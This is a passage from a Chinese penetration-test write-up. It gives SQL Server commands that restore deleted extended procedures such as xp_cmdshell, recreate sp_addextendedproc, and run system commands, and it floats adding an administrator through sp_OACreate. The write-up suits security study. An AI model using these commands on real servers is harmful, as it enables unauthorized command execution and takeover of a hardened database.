网络安全 频道

[攻防手记]记一次简单的渗透测试

    于是马上想到恢复存储过程来执行命令,于是在查询分析器里执行:
    use master 
    exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' 
    exec sp_addextendedproc xp_dirtree,'xpstar.dll' 
    exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 
    exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 
    exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 
    exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 
    exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 
    exec sp_addextendedproc sp_OACreate,'odsole70.dll' 
    exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 
    exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 
    exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 
    exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 
    exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 
    exec sp_addextendedproc sp_OAStop,'odsole70.dll' 
    exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 
    exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 
    exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 
    exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 
    exec sp_addextendedproc xp_regread,'xpstar.dll' 
    exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 
    exec sp_addextendedproc xp_regwrite,'xpstar.dll' 
    exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
    就是将以上的存储过程全部恢复,但是在执行的时候却提示没能找到sp_addextendedproc
原来管理员把sp_addextendedproc也删了。


图3

    于是只能先恢复sp_addextendedproc,语句如下:

    create procedure sp_addextendedproc --- 1996/08/30 20:13
    @functname nvarchar(517),/* (owner.)name of function to call */
    @dllname varchar(255)/* name of DLL containing function */
    as
    set implicit_transactions off
    if @@trancount > 0
    begin
    raiserror(15002,-1,-1,'sp_addextendedproc')
    return (1)
    end
    dbcc addextendedproc( @functname, @dllname)
    return (0) -- sp_addextendedproc
    GO 


图4

    执行成功,然后恢复存储过程,成功恢复了所用存储过,但是在执行exec master.dbo.xp_cmdshell 'net user'
的时候却提示:
    ODBC:消息 0,级别 16,状态 1,无法装载 DLL xp_cmdshell.dll 或该 DLL 所引用的某一 DLL。
原因:126(error not found)。
    原来管理员把DLL 都删了。然后又想能不能使用SP_OAcreate来加个管理员呢?

0
相关文章